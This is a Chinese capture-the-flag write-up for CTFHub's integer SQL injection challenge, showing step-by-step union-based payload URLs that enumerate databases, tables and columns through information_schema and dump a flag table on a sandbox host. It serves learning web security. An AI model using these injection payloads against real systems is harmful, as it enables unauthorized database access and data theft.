zoukankan      html  css  js  c++  java
  • CTFHub 整数型SQL注入

    1、整数型SQL注入

    步骤

    1)判断是否存在注入

    2)查询字段数量

    3)查询SQL语句插入位置

    4)获取数据库库名

    5)获取数据库表名

    6)获取字段名

    7)获取数据

    (1)判断是否存在注入

    1)加单引号

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

    对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

    2)加and 1=1

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

    对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

    3)加and 1=2

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

    对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

    如果满足以上三点,则可以判断该URL存在数字型注入。

    (2)查询字段数量

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

    当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。

     

    (3)查询SQL语句插入位置

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

    此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

     

    (4)获取数据库库名

    1)获取当前数据库库名

    2位置修改为:database(),version()

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

    得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支

     

    2)获取所有数据库库名

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

    union select 1,group_concat(schema_name)from information_schema.schemata

    3)逐条获取数据库库名

    语句:select schema_name from information_schema.schemata limit 0,1;

    修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。

    (5)获取数据库表名

    1)方法一:一次获取一个表名

    2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;

    得到数据库表名:news。修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

    2)方法二:一次性获取当前数据库所有表名:

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

    union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

    得到数据库sqli中的表名为news和flag

     

    (6)获取字段名

    1)方法一:

    以flag表为例,2位置修改为:

    select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

    union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

    看到flag表中第一个字段是flag, 修改limit中第一个数字,如获取第二个字段名:limit 1,1,依次类推,发现flag表中的字段名称只有一个flag。

    2)方法二:

    以flag表为例,一次性获取所有字段名:

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

    union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

    (7)获取数据

    1)方法一:

    以emails表为例,2位置修改为:

    (select flag from sqli.flag limit 0,1)

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)

    可以得到flag表中的第一条数据,修改limit中第一个数字,如获取第二个字段值

    2)方法二:

    以flag表为例,一次性获取所有数据:

    URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

  • 相关阅读:
    redis skiplist性能实验
    python批量插mysql 2种方法 对比 装饰器timer
    数仓 & 数据湖小结
    mongo 增量同步之 MongoShake(3) kafka python处理kafka oplog mongoUtils
    mongo 增量同步之 MongoShake(2) kafka json to python json
    python swich case
    mongodb 增量同步之 MongoShake(1)
    redis scan & kyes p*
    SpringContextUtils Spring 工具类
    Google EventBus使用详解
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/12670106.html
Copyright © 2011-2022 走看看